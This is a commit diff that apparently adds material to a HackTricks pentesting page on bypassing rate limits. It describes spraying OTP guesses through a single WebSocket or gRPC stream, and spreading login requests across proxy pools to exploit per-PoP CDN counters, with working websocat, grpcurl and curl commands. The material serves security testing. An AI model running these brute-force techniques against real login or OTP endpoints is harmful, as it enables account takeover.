Skip to content

Commit 6053eed

Browse files
author
HackTricks News Bot
committed
Add content from: Research Update: Enhanced src/pentesting-web/rate-limit-bypa...
1 parent 570a93d commit 6053eed

1 file changed

Lines changed: 39 additions & 2 deletions

File tree

src/pentesting-web/rate-limit-bypass.md

Lines changed: 39 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -110,6 +110,41 @@ A classic token-bucket or leaky-bucket limiter *resets* on a fixed time boundary
110110

111111
This simple optimisation can more than double your throughput without touching any other bypass technique.
112112

113+
### Upgrading to WebSockets / gRPC streaming after the handshake
114+
115+
Many edge rate-limiters only inspect the **initial HTTP request**. Once the connection is upgraded to WebSocket (HTTP 101) or gRPC bidirectional streaming, subsequent messages often bypass request-per-second counters because they are no longer separate HTTP requests. Cloudflare’s own docs note that only the initial upgrade request is subject to WAF/rate-limiting rules; frames sent afterwards are opaque.
116+
117+
Practical workflow:
118+
119+
```bash
120+
# Flood 1,000 OTP guesses through a single WebSocket connection
121+
seq -w 000000 000999 | websocat -n ws://target.tld/api/verify-ws
122+
123+
# gRPC streaming: send multiple Verify requests in one stream
124+
grpcurl -d @ -plaintext target.tld:50051 service.VerifyOTP/Stream <<'EOF'
125+
{ "code": "111111" }
126+
{ "code": "222222" }
127+
{ "code": "333333" }
128+
EOF
129+
```
130+
131+
If the login/OTP endpoint exposes both HTTP and WebSocket/gRPC variants, establish the upgraded channel first and then spray codes within that single connection to evade per-request throttles.
132+
133+
### Exploiting CDN PoP‑sharded counters
134+
135+
Some CDNs shard rate-limit counters **per data center/PoP instead of globally**. Cloudflare explicitly states counters are not shared across data centers. By routing requests through egress nodes in many regions (residential proxy pools, anycast VPNs, or cloud VMs pinned to different continents), you multiply the allowed throughput: every PoP maintains an independent bucket for the same key.
136+
137+
Quick and dirty layout using open proxies (example with `proxychains` + a country‑rotating list):
138+
139+
```bash
140+
for p in $(cat proxies.txt); do
141+
HTTPS_PROXY=$p curl -s -X POST https://target/api/login -d @payload.json &
142+
done
143+
wait
144+
```
145+
146+
Make sure the limiter key is not per-account; otherwise also rotate user IDs / session tokens.
147+
113148
---
114149

115150
## Tools
@@ -121,7 +156,9 @@ This simple optimisation can more than double your throughput without touching a
121156

122157
## References
123158

124-
- PortSwigger Research – “Bypassing rate limits with GraphQL aliasing” (2023) <https://portswigger.net/research/graphql-authorization-bypass>
125-
- PortSwigger Research – “HTTP/2: The Sequel is Always Worse” (section *Connection-based throttling*) (2024) <https://portswigger.net/research/http2>
159+
- [PortSwigger Research – “Bypassing rate limits with GraphQL aliasing” (2023)](https://portswigger.net/research/graphql-authorization-bypass)
160+
- [PortSwigger Research – “HTTP/2: The Sequel is Always Worse” (connection-based throttling) (2024)](https://portswigger.net/research/http2)
161+
- [Cloudflare Docs – WebSockets & WAF applicability (2025)](https://developers.cloudflare.com/network/websockets/)
162+
- [Cloudflare Docs – Request rate calculation and PoP-local counters (2025)](https://developers.cloudflare.com/waf/rate-limiting-rules/request-rate/)
126163

127164
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)